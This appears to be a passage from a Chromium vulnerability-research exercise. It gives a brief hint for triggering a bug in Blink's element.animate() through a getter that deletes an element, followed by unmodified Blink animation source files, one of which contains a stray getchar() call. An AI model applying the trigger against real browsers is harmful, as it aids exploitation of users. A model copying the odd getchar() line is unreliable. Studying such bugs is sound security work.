`element.animate(keyframes, options);` to trigger, we can make a `arr` whose `getter` delete `element_1`. and do `element_2.animate(arr,{...})`, you can see detail at [Poc](./poc.html).
-------- ================================================ FILE: LEVEL_1/exercise_6/animatable.cc ================================================ // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/animation/animatable.h" #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_animation_options.h" #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h" #include "third_party/blink/renderer/bindings/core/v8/v8_get_animations_options.h" #include "third_party/blink/renderer/core/animation/animation.h" #include "third_party/blink/renderer/core/animation/document_animations.h" #include "third_party/blink/renderer/core/animation/document_timeline.h" #include "third_party/blink/renderer/core/animation/effect_input.h" #include "third_party/blink/renderer/core/animation/effect_model.h" #include "third_party/blink/renderer/core/animation/keyframe_effect.h" #include "third_party/blink/renderer/core/animation/keyframe_effect_model.h" #include "third_party/blink/renderer/core/animation/timing.h" #include "third_party/blink/renderer/core/animation/timing_input.h" #include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/dom/element.h" #include "third_party/blink/renderer/core/feature_policy/layout_animations_policy.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/bindings/script_state.h" #include "third_party/blink/renderer/platform/heap/heap.h" namespace blink { namespace { // A helper method which is used to trigger a violation report for cases where // the |element.animate| API is used to animate a CSS property which is blocked // by the feature policy 'layout-animations'. void ReportFeaturePolicyViolationsIfNecessary( const ExecutionContext& context, const KeyframeEffectModelBase& effect) { for (const auto& property_handle : effect.Properties()) { if (!property_handle.IsCSSProperty()) continue; const auto& css_property = property_handle.GetCSSProperty(); if (LayoutAnimationsPolicy::AffectedCSSProperties().Contains( &css_property)) { LayoutAnimationsPolicy::ReportViolation(css_property, context); } } } UnrestrictedDoubleOrKeyframeEffectOptions CoerceEffectOptions( UnrestrictedDoubleOrKeyframeAnimationOptions options) { if (options.IsKeyframeAnimationOptions()) { return UnrestrictedDoubleOrKeyframeEffectOptions::FromKeyframeEffectOptions( options.GetAsKeyframeAnimationOptions()); } else { return UnrestrictedDoubleOrKeyframeEffectOptions::FromUnrestrictedDouble( options.GetAsUnrestrictedDouble()); } } } // namespace // https://drafts.csswg.org/web-animations/#dom-animatable-animate Animation* Animatable::animate( ScriptState* script_state, const ScriptValue& keyframes, const UnrestrictedDoubleOrKeyframeAnimationOptions& options, ExceptionState& exception_state) { if (!script_state->ContextIsValid()) return nullptr; Element* element = GetAnimationTarget(); if (!element->GetExecutionContext()) return nullptr; KeyframeEffect* effect = KeyframeEffect::Create(script_state, element, keyframes, CoerceEffectOptions(options), exception_state); if (exception_state.HadException()) return nullptr; ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), *effect->Model()); if (!options.IsKeyframeAnimationOptions()) return element->GetDocument().Timeline().Play(effect); Animation* animation; const KeyframeAnimationOptions* options_dict = options.GetAsKeyframeAnimationOptions(); if (!options_dict->hasTimeline()) { animation = element->GetDocument().Timeline().Play(effect); } else if (AnimationTimeline* timeline = options_dict->timeline()) { animation = timeline->Play(effect); } else { animation = Animation::Create(element->GetExecutionContext(), effect, nullptr, exception_state); } animation->setId(options_dict->id()); return animation; } Animation* Animatable::animate(ScriptState* script_state, const ScriptValue& keyframes, ExceptionState& exception_state) { if (!script_state->ContextIsValid()) return nullptr; Element* element = GetAnimationTarget(); if (!element->GetExecutionContext()) return nullptr; KeyframeEffect* effect = KeyframeEffect::Create(script_state, element, keyframes, exception_state); if (exception_state.HadException()) return nullptr; ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), *effect->Model()); return element->GetDocument().Timeline().Play(effect); } HeapVector> Animatable::getAnimations( GetAnimationsOptions* options) { bool use_subtree = options && options->subtree(); Element* element = GetAnimationTarget(); if (use_subtree) element->GetDocument().UpdateStyleAndLayoutTreeForSubtree(element); else element->GetDocument().UpdateStyleAndLayoutTreeForNode(element); HeapVector> animations; if (!use_subtree && !element->HasAnimations()) return animations; for (const auto& animation : element->GetDocument().GetDocumentAnimations().getAnimations( element->GetTreeScope())) { DCHECK(animation->effect()); // TODO(gtsteel) make this use the idl properties Element* target = To(animation->effect())->EffectTarget(); if (element == target || (use_subtree && element->contains(target))) { // DocumentAnimations::getAnimations should only give us animations that // are either current or in effect. DCHECK(animation->effect()->IsCurrent() || animation->effect()->IsInEffect()); animations.push_back(animation); } } return animations; } } // namespace blink ================================================ FILE: LEVEL_1/exercise_6/effect_input.cc ================================================ /* * Copyright (C) 2013 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/core/animation/effect_input.h" #include "third_party/blink/renderer/bindings/core/v8/array_value.h" #include "third_party/blink/renderer/bindings/core/v8/dictionary.h" #include "third_party/blink/renderer/bindings/core/v8/idl_types.h" #include "third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h" #include "third_party/blink/renderer/bindings/core/v8/script_iterator.h" #include "third_party/blink/renderer/bindings/core/v8/string_or_string_sequence.h" #include "third_party/blink/renderer/bindings/core/v8/v8_base_keyframe.h" #include "third_party/blink/renderer/bindings/core/v8/v8_base_property_indexed_keyframe.h" #include "third_party/blink/renderer/core/animation/animation_input_helpers.h" #include "third_party/blink/renderer/core/animation/compositor_animations.h" #include "third_party/blink/renderer/core/animation/css/css_animations.h" #include "third_party/blink/renderer/core/animation/keyframe_effect_model.h" #include "third_party/blink/renderer/core/animation/string_keyframe.h" #include "third_party/blink/renderer/core/css/css_style_sheet.h" #include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/dom/element.h" #include "third_party/blink/renderer/core/dom/node_computed_style.h" #include "third_party/blink/renderer/core/frame/frame_console.h" #include "third_party/blink/renderer/core/frame/local_dom_window.h" #include "third_party/blink/renderer/core/frame/local_frame.h" #include "third_party/blink/renderer/core/inspector/console_message.h" #include "third_party/blink/renderer/platform/heap/heap.h" #include "third_party/blink/renderer/platform/wtf/hash_set.h" #include "third_party/blink/renderer/platform/wtf/text/ascii_ctype.h" #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" #include "v8/include/v8.h" namespace blink { namespace { // Converts the composite property of a BasePropertyIndexedKeyframe into a // vector of base::Optional enums. Vector> ParseCompositeProperty( const BasePropertyIndexedKeyframe* keyframe) { const CompositeOperationOrAutoOrCompositeOperationOrAutoSequence& composite = keyframe->composite(); if (composite.IsCompositeOperationOrAuto()) { return {EffectModel::StringToCompositeOperation( composite.GetAsCompositeOperationOrAuto())}; } Vector> result; for (const String& composite_operation_string : composite.GetAsCompositeOperationOrAutoSequence()) { result.push_back( EffectModel::StringToCompositeOperation(composite_operation_string)); } return result; } void SetKeyframeValue(Element* element, Document& document, StringKeyframe& keyframe, const String& property, const String& value, ExecutionContext* execution_context) { StyleSheetContents* style_sheet_contents = document.ElementSheet().Contents(); CSSPropertyID css_property = AnimationInputHelpers::KeyframeAttributeToCSSProperty(property, document); SecureContextMode secure_context_mode = document.GetExecutionContext() ? document.GetExecutionContext()->GetSecureContextMode() : SecureContextMode::kInsecureContext; if (css_property != CSSPropertyID::kInvalid) { MutableCSSPropertyValueSet::SetResult set_result = css_property == CSSPropertyID::kVariable ? keyframe.SetCSSPropertyValue(AtomicString(property), value, secure_context_mode, style_sheet_contents) : keyframe.SetCSSPropertyValue(css_property, value, secure_context_mode, style_sheet_contents); if (!set_result.did_parse && execution_context) { if (document.GetFrame()) { document.GetFrame()->Console().AddMessage( MakeGarbageCollected( mojom::ConsoleMessageSource::kJavaScript, mojom::ConsoleMessageLevel::kWarning, "Invalid keyframe value for property " + property + ": " + value)); } } return; } css_property = AnimationInputHelpers::KeyframeAttributeToPresentationAttribute(property, element); if (css_property != CSSPropertyID::kInvalid) { keyframe.SetPresentationAttributeValue(CSSProperty::Get(css_property), value, secure_context_mode, style_sheet_contents); return; } const QualifiedName* svg_attribute = AnimationInputHelpers::KeyframeAttributeToSVGAttribute(property, element); if (svg_attribute) keyframe.SetSVGAttributeValue(*svg_attribute, value); } bool ValidatePartialKeyframes(const StringKeyframeVector& keyframes) { // WebAnimationsAPIEnabled guards both additive animations and allowing // partial (implicit) keyframes. if (RuntimeEnabledFeatures::WebAnimationsAPIEnabled()) return true; // An implicit keyframe is inserted in the below cases. Note that the 'first' // keyframe is actually all keyframes with offset 0.0, and the 'last' keyframe // is actually all keyframes with offset 1.0. // // 1. A given property is present somewhere in the full set of keyframes, // but is either not present in the first keyframe (requiring an implicit // start value for that property) or last keyframe (requiring an implicit // end value for that property). // // 2. There is no first keyframe (requiring an implicit start keyframe), or // no last keyframe (requiring an implicit end keyframe). // // We only care about CSS properties here; animating SVG elements is protected // by a different runtime flag. Vector computed_offsets = KeyframeEffectModelBase::GetComputedOffsets(keyframes); PropertyHandleSet properties_with_offset_0; PropertyHandleSet properties_with_offset_1; for (wtf_size_t i = 0; i < keyframes.size(); i++) { for (const PropertyHandle& property : keyframes[i]->Properties()) { if (!property.IsCSSProperty()) continue; if (computed_offsets[i] == 0.0) { properties_with_offset_0.insert(property); } else { if (!properties_with_offset_0.Contains(property)) return false; if (computed_offsets[i] == 1.0) { properties_with_offset_1.insert(property); } } } } // At this point we have compared all keyframes with offset > 0 against the // properties contained in the first keyframe, and found that they match. Now // we just need to make sure that there aren't any properties in the first // keyframe that aren't in the last keyframe. return properties_with_offset_0.size() == properties_with_offset_1.size(); } // Ensures that a CompositeOperation is of an allowed value for a given // StringKeyframe and the current runtime flags. EffectModel::CompositeOperation ResolveCompositeOperationForKeyframe( EffectModel::CompositeOperation composite, StringKeyframe* keyframe) { bool additive_composite = composite == EffectModel::kCompositeAdd || composite == EffectModel::kCompositeAccumulate; if (!RuntimeEnabledFeatures::WebAnimationsAPIEnabled() && keyframe->HasCssProperty() && additive_composite) { return EffectModel::kCompositeReplace; } return composite; } bool IsAnimatableKeyframeAttribute(const String& property, Element* element, const Document& document) { CSSPropertyID css_property = AnimationInputHelpers::KeyframeAttributeToCSSProperty(property, document); if (css_property != CSSPropertyID::kInvalid) { return !CSSAnimations::IsAnimationAffectingProperty( CSSProperty::Get(css_property)); } css_property = AnimationInputHelpers::KeyframeAttributeToPresentationAttribute(property, element); if (css_property != CSSPropertyID::kInvalid) return true; return !!AnimationInputHelpers::KeyframeAttributeToSVGAttribute(property, element); } void AddPropertyValuePairsForKeyframe( v8::Isolate* isolate, v8::Local keyframe_obj, Element* element, const Document& document, Vector>& property_value_pairs, ExceptionState& exception_state) { Vector keyframe_properties = GetOwnPropertyNames(isolate, keyframe_obj, exception_state); if (exception_state.HadException()) return; // By spec, we must sort the properties in "ascending order by the Unicode // codepoints that define each property name." std::sort(keyframe_properties.begin(), keyframe_properties.end(), WTF::CodeUnitCompareLessThan); v8::TryCatch try_catch(isolate); for (const auto& property : keyframe_properties) { if (property == "offset" || property == "float" || property == "composite" || property == "easing") { continue; } // By spec, we are not allowed to access any non-animatable property. if (!IsAnimatableKeyframeAttribute(property, element, document)) continue; // By spec, we are only allowed to access a given (property, value) pair // once. This is observable by the web client, so we take care to adhere // to that. v8::Local v8_value; if (!keyframe_obj ->Get(isolate->GetCurrentContext(), V8String(isolate, property)) .ToLocal(&v8_value)) { exception_state.RethrowV8Exception(try_catch.Exception()); return; } if (v8_value->IsArray()) { // Since allow-lists is false, array values should be ignored. continue; } String string_value = NativeValueTraits::NativeValue( isolate, v8_value, exception_state); if (exception_state.HadException()) return; property_value_pairs.push_back(std::make_pair(property, string_value)); } } StringKeyframeVector ConvertArrayForm(Element* element, Document& document, ScriptIterator iterator, ScriptState* script_state, ExceptionState& exception_state) { v8::Isolate* isolate = script_state->GetIsolate(); // This loop captures step 5 of the procedure to process a keyframes argument, // in the case where the argument is iterable. HeapVector> processed_base_keyframes; Vector>> processed_properties; ExecutionContext* execution_context = ExecutionContext::From(script_state); while (iterator.Next(execution_context, exception_state)) { if (exception_state.HadException()) return {}; // The value should already be non-empty, as guaranteed by the call to Next // and the exception_state check above. getchar(); v8::Local keyframe = iterator.GetValue().ToLocalChecked(); if (!keyframe->IsObject() && !keyframe->IsNullOrUndefined()) { exception_state.ThrowTypeError( "Keyframes must be objects, or null or undefined"); return {}; } BaseKeyframe* base_keyframe = NativeValueTraits::NativeValue( isolate, keyframe, exception_state); Vector> property_value_pairs; if (exception_state.HadException()) return {}; if (!keyframe->IsNullOrUndefined()) { AddPropertyValuePairsForKeyframe( isolate, v8::Local::Cast(keyframe), element, document, property_value_pairs, exception_state); if (exception_state.HadException()) return {}; } processed_base_keyframes.push_back(base_keyframe); processed_properties.push_back(property_value_pairs); } // If the very first call to next() throws the above loop will never be // entered, so we have to catch that here. if (exception_state.HadException()) return {}; // 6. If processed keyframes is not loosely sorted by offset, throw a // TypeError and abort these steps. double previous_offset = -std::numeric_limits::infinity(); const wtf_size_t num_processed_keyframes = processed_base_keyframes.size(); for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) { if (!processed_base_keyframes[i]->hasOffsetNonNull()) continue; double offset = processed_base_keyframes[i]->offsetNonNull(); if (offset < previous_offset) { exception_state.ThrowTypeError( "Offsets must be montonically non-decreasing."); return {}; } previous_offset = offset; } // 7. If there exist any keyframe in processed keyframes whose keyframe // offset is non-null and less than zero or greater than one, throw a // TypeError and abort these steps. for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) { if (!processed_base_keyframes[i]->hasOffsetNonNull()) continue; double offset = processed_base_keyframes[i]->offsetNonNull(); if (offset < 0 || offset > 1) { exception_state.ThrowTypeError( "Offsets must be null or in the range [0,1]."); return {}; } } StringKeyframeVector keyframes; for (wtf_size_t i = 0; i < num_processed_keyframes; ++i) { // Now we create the actual Keyframe object. We start by assigning the // offset and composite values; conceptually these were actually added in // step 5 above but we didn't have a keyframe object then. const BaseKeyframe* base_keyframe = processed_base_keyframes[i]; auto* keyframe = MakeGarbageCollected(); if (base_keyframe->hasOffset()) { keyframe->SetOffset(base_keyframe->offset()); } // 8.1. For each property-value pair in frame, parse the property value // using the syntax specified for that property. for (const auto& pair : processed_properties[i]) { // TODO(crbug.com/777971): Make parsing of property values spec-compliant. SetKeyframeValue(element, document, *keyframe, pair.first, pair.second, execution_context); } base::Optional composite = EffectModel::StringToCompositeOperation(base_keyframe->composite()); if (composite) { keyframe->SetComposite( ResolveCompositeOperationForKeyframe(composite.value(), keyframe)); } // 8.2. Let the timing function of frame be the result of parsing the // “easing” property on frame using the CSS syntax defined for the easing // property of the AnimationEffectTimingReadOnly interface. // // If parsing the “easing” property fails, throw a TypeError and abort this // procedure. scoped_refptr timing_function = AnimationInputHelpers::ParseTimingFunction(base_keyframe->easing(), &document, exception_state); if (!timing_function) return {}; keyframe->SetEasing(timing_function); keyframes.push_back(keyframe); } DCHECK(!exception_state.HadException()); return keyframes; } // Extracts the values for a given property in the input keyframes. As per the // spec property values for the object-notation form have type (DOMString or // sequence). bool GetPropertyIndexedKeyframeValues(const v8::Local& keyframe, const String& property, ScriptState* script_state, ExceptionState& exception_state, Vector& result) { DCHECK(result.IsEmpty()); // By spec, we are only allowed to access a given (property, value) pair once. // This is observable by the web client, so we take care to adhere to that. v8::Local v8_value; v8::TryCatch try_catch(script_state->GetIsolate()); v8::Local context = script_state->GetContext(); v8::Isolate* isolate = script_state->GetIsolate(); if (!keyframe->Get(context, V8String(isolate, property)).ToLocal(&v8_value)) { exception_state.RethrowV8Exception(try_catch.Exception()); return {}; } StringOrStringSequence string_or_string_sequence; V8StringOrStringSequence::ToImpl( script_state->GetIsolate(), v8_value, string_or_string_sequence, UnionTypeConversionMode::kNotNullable, exception_state); if (exception_state.HadException()) return false; if (string_or_string_sequence.IsString()) result.push_back(string_or_string_sequence.GetAsString()); else result = string_or_string_sequence.GetAsStringSequence(); return true; } // Implements the procedure to "process a keyframes argument" from the // web-animations spec for an object form keyframes argument. // // See https://drafts.csswg.org/web-animations/#processing-a-keyframes-argument StringKeyframeVector ConvertObjectForm(Element* element, Document& document, const v8::Local& v8_keyframe, ScriptState* script_state, ExceptionState& exception_state) { // We implement much of this procedure out of order from the way the spec is // written, to avoid repeatedly going over the list of keyframes. // The web-observable behavior should be the same as the spec. // Extract the offset, easing, and composite as per step 1 of the 'procedure // to process a keyframe-like object'. BasePropertyIndexedKeyframe* property_indexed_keyframe = NativeValueTraits::NativeValue( script_state->GetIsolate(), v8_keyframe, exception_state); if (exception_state.HadException()) return {}; Vector> offsets; if (property_indexed_keyframe->offset().IsNull()) offsets.push_back(base::nullopt); else if (property_indexed_keyframe->offset().IsDouble()) offsets.push_back(property_indexed_keyframe->offset().GetAsDouble()); else offsets = property_indexed_keyframe->offset().GetAsDoubleOrNullSequence(); // The web-animations spec explicitly states that easings should be kept as // DOMStrings here and not parsed into timing functions until later. Vector easings; if (property_indexed_keyframe->easing().IsString()) easings.push_back(property_indexed_keyframe->easing().GetAsString()); else easings = property_indexed_keyframe->easing().GetAsStringSequence(); Vector> composite_operations = ParseCompositeProperty(property_indexed_keyframe); // Next extract all animatable properties from the input argument and iterate // through them, processing each as a list of values for that property. This // implements both steps 2-7 of the 'procedure to process a keyframe-like // object' and step 5.2 of the 'procedure to process a keyframes argument'. Vector keyframe_properties = GetOwnPropertyNames( script_state->GetIsolate(), v8_keyframe, exception_state); if (exception_state.HadException()) return {}; // Steps 5.2 - 5.4 state that the user agent is to: // // * Create sets of 'property keyframes' with no offset. // * Calculate computed offsets for each set of keyframes individually. // * Join the sets together and merge those with identical computed offsets. // // This is equivalent to just keeping a hashmap from computed offset to a // single keyframe, which simplifies the parsing logic. HeapHashMap> keyframes; // By spec, we must sort the properties in "ascending order by the Unicode // codepoints that define each property name." std::sort(keyframe_properties.begin(), keyframe_properties.end(), WTF::CodeUnitCompareLessThan); for (const auto& property : keyframe_properties) { if (property == "offset" || property == "float" || property == "composite" || property == "easing") { continue; } // By spec, we are not allowed to access any non-animatable property. if (!IsAnimatableKeyframeAttribute(property, element, document)) continue; Vector values; if (!GetPropertyIndexedKeyframeValues(v8_keyframe, property, script_state, exception_state, values)) { return {}; } // Now create a keyframe (or retrieve and augment an existing one) for each // value this property maps to. As explained above, this loop performs both // the initial creation and merging mentioned in the spec. wtf_size_t num_keyframes = values.size(); ExecutionContext* execution_context = ExecutionContext::From(script_state); for (wtf_size_t i = 0; i < num_keyframes; ++i) { // As all offsets are null for these 'property keyframes', the computed // offset is just the fractional position of each keyframe in the array. // // The only special case is that when there is only one keyframe the sole // computed offset is defined as 1. double computed_offset = (num_keyframes == 1) ? 1 : i / double(num_keyframes - 1); auto result = keyframes.insert(computed_offset, nullptr); if (result.is_new_entry) result.stored_value->value = MakeGarbageCollected(); SetKeyframeValue(element, document, *result.stored_value->value, property, values[i], execution_context); } } // 5.3 Sort processed keyframes by the computed keyframe offset of each // keyframe in increasing order. Vector keys; for (const auto& key : keyframes.Keys()) keys.push_back(key); std::sort(keys.begin(), keys.end()); // Steps 5.5 - 5.12 deal with assigning the user-specified offset, easing, and // composite properties to the keyframes. // // This loop also implements steps 6, 7, and 8 of the spec. Because nothing is // user-observable at this point, we can operate out of order. Note that this // may result in us throwing a different order of TypeErrors than other user // agents[1], but as all exceptions are TypeErrors this is not observable by // the web client. // // [1] E.g. if the offsets are [2, 0] we will throw due to the first offset // being > 1 before we throw due to the offsets not being loosely ordered. StringKeyframeVector results; double previous_offset = 0.0; for (wtf_size_t i = 0; i < keys.size(); i++) { auto* keyframe = keyframes.at(keys[i]); if (i < offsets.size()) { base::Optional offset = offsets[i]; // 6. If processed keyframes is not loosely sorted by offset, throw a // TypeError and abort these steps. if (offset.has_value()) { if (offset.value() < previous_offset) { exception_state.ThrowTypeError( "Offsets must be montonically non-decreasing."); return {}; } previous_offset = offset.value(); } // 7. If there exist any keyframe in processed keyframes whose keyframe // offset is non-null and less than zero or greater than one, throw a // TypeError and abort these steps. if (offset.has_value() && (offset.value() < 0 || offset.value() > 1)) { exception_state.ThrowTypeError( "Offsets must be null or in the range [0,1]."); return {}; } keyframe->SetOffset(offset); } // At this point in the code we have read all the properties we will read // from the input object, so it is safe to parse the easing strings. See the // note on step 8.2. if (!easings.IsEmpty()) { // 5.9 If easings has fewer items than property keyframes, repeat the // elements in easings successively starting from the beginning of the // list until easings has as many items as property keyframes. const String& easing = easings[i % easings.size()]; // 8.2 Let the timing function of frame be the result of parsing the // "easing" property on frame using the CSS syntax defined for the easing // property of the AnimationEffectTimingReadOnly interface. // // If parsing the “easing” property fails, throw a TypeError and abort // this procedure. scoped_refptr timing_function = AnimationInputHelpers::ParseTimingFunction(easing, &document, exception_state); if (!timing_function) return {}; keyframe->SetEasing(timing_function); } if (!composite_operations.IsEmpty()) { // 5.12.2 As with easings, if composite modes has fewer items than // property keyframes, repeat the elements in composite modes successively // starting from the beginning of the list until composite modes has as // many items as property keyframes. base::Optional composite = composite_operations[i % composite_operations.size()]; if (composite) { keyframe->SetComposite( ResolveCompositeOperationForKeyframe(composite.value(), keyframe)); } } results.push_back(keyframe); } // Step 8 of the spec is done above (or will be): parsing property values // according to syntax for the property (discarding with console warning on // fail) and parsing each easing property. // TODO(crbug.com/777971): Fix parsing of property values to adhere to spec. // 9. Parse each of the values in unused easings using the CSS syntax defined // for easing property of the AnimationEffectTimingReadOnly interface, and if // any of the values fail to parse, throw a TypeError and abort this // procedure. for (wtf_size_t i = results.size(); i < easings.size(); i++) { scoped_refptr timing_function = AnimationInputHelpers::ParseTimingFunction(easings[i], &document, exception_state); if (!timing_function) return {}; } DCHECK(!exception_state.HadException()); return results; } bool HasAdditiveCompositeCSSKeyframe( const KeyframeEffectModelBase::KeyframeGroupMap& keyframe_groups) { for (const auto& keyframe_group : keyframe_groups) { PropertyHandle property = keyframe_group.key; if (!property.IsCSSProperty()) continue; for (const auto& keyframe : keyframe_group.value->Keyframes()) { if (keyframe->Composite() == EffectModel::kCompositeAdd || keyframe->Composite() == EffectModel::kCompositeAccumulate) { return true; } } } return false; } } // namespace KeyframeEffectModelBase* EffectInput::Convert( Element* element, const ScriptValue& keyframes, EffectModel::CompositeOperation composite, ScriptState* script_state, ExceptionState& exception_state) { StringKeyframeVector parsed_keyframes = ParseKeyframesArgument(element, keyframes, script_state, exception_state); if (exception_state.HadException()) return nullptr; composite = ResolveCompositeOperation(composite, parsed_keyframes); auto* keyframe_effect_model = MakeGarbageCollected( parsed_keyframes, composite, LinearTimingFunction::Shared()); if (!RuntimeEnabledFeatures::WebAnimationsAPIEnabled()) { // This should be enforced by the parsing code. DCHECK(!HasAdditiveCompositeCSSKeyframe( keyframe_effect_model->GetPropertySpecificKeyframeGroups())); } DCHECK(!exception_state.HadException()); return keyframe_effect_model; } StringKeyframeVector EffectInput::ParseKeyframesArgument( Element* element, const ScriptValue& keyframes, ScriptState* script_state, ExceptionState& exception_state) { // Per the spec, a null keyframes object maps to a valid but empty sequence. v8::Local keyframes_value = keyframes.V8Value(); if (keyframes_value->IsNullOrUndefined()) return {}; v8::Local keyframes_obj = keyframes_value.As(); // 3. Let method be the result of GetMethod(object, @@iterator). v8::Isolate* isolate = script_state->GetIsolate(); auto script_iterator = ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state); if (exception_state.HadException()) return {}; // TODO(crbug.com/816934): Get spec to specify what parsing context to use. Document& document = element ? element->GetDocument() : *LocalDOMWindow::From(script_state)->document(); // Map logical to physical properties. const ComputedStyle* style = element ? element->GetComputedStyle() : nullptr; TextDirection text_direction = style ? style->Direction() : TextDirection::kLtr; WritingMode writing_mode = style ? style->GetWritingMode() : WritingMode::kHorizontalTb; StringKeyframeVector parsed_keyframes; if (script_iterator.IsNull()) { parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj, script_state, exception_state); } else { parsed_keyframes = ConvertArrayForm(element, document, std::move(script_iterator), script_state, exception_state); } for (wtf_size_t i = 0; i < parsed_keyframes.size(); i++) { StringKeyframe* keyframe = parsed_keyframes[i]; keyframe->SetLogicalPropertyResolutionContext(text_direction, writing_mode); } if (!ValidatePartialKeyframes(parsed_keyframes)) { exception_state.ThrowDOMException(DOMExceptionCode::kNotSupportedError, "Partial keyframes are not supported."); return {}; } return parsed_keyframes; } EffectModel::CompositeOperation EffectInput::ResolveCompositeOperation( EffectModel::CompositeOperation composite, const StringKeyframeVector& keyframes) { EffectModel::CompositeOperation result = composite; for (const Member& keyframe : keyframes) { // Replace is always supported, so we can early-exit if and when we have // that as our composite value. if (result == EffectModel::kCompositeReplace) break; result = ResolveCompositeOperationForKeyframe(result, keyframe); } return result; } } // namespace blink ================================================ FILE: LEVEL_1/exercise_6/keyframe_effect.cc ================================================ /* * Copyright (C) 2013 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/core/animation/keyframe_effect.h" #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h" #include "third_party/blink/renderer/bindings/core/v8/v8_object_builder.h" #include "third_party/blink/renderer/core/animation/animation_input_helpers.h" #include "third_party/blink/renderer/core/animation/animation_utils.h" #include "third_party/blink/renderer/core/animation/compositor_animations.h" #include "third_party/blink/renderer/core/animation/css/compositor_keyframe_transform.h" #include "third_party/blink/renderer/core/animation/effect_input.h" #include "third_party/blink/renderer/core/animation/element_animations.h" #include "third_party/blink/renderer/core/animation/sampled_effect.h" #include "third_party/blink/renderer/core/animation/timing_input.h" #include "third_party/blink/renderer/core/css/properties/css_property_ref.h" #include "third_party/blink/renderer/core/css/resolver/style_resolver.h" #include "third_party/blink/renderer/core/dom/element.h" #include "third_party/blink/renderer/core/dom/node_computed_style.h" #include "third_party/blink/renderer/core/dom/pseudo_element.h" #include "third_party/blink/renderer/core/frame/web_feature.h" #include "third_party/blink/renderer/core/paint/paint_layer.h" #include "third_party/blink/renderer/core/style/computed_style.h" #include "third_party/blink/renderer/core/svg/svg_element.h" #include "third_party/blink/renderer/platform/animation/compositor_animation.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/heap/heap.h" #include "third_party/blink/renderer/platform/runtime_enabled_features.h" namespace blink { namespace { // Verifies that a pseudo-element selector lexes and canonicalizes legacy forms bool ValidateAndCanonicalizePseudo(String& selector) { if (selector.IsNull()) { return true; } else if (selector.StartsWith("::")) { return true; } else if (selector == ":before") { selector = "::before"; return true; } else if (selector == ":after") { selector = "::after"; return true; } else if (selector == ":first-letter") { selector = "::first-letter"; return true; } else if (selector == ":first-line") { selector = "::first-line"; return true; } return false; } } // namespace KeyframeEffect* KeyframeEffect::Create( ScriptState* script_state, Element* element, const ScriptValue& keyframes, const UnrestrictedDoubleOrKeyframeEffectOptions& options, ExceptionState& exception_state) { Document* document = element ? &element->GetDocument() : nullptr; Timing timing = TimingInput::Convert(options, document, exception_state); if (exception_state.HadException()) return nullptr; EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace; String pseudo = String(); if 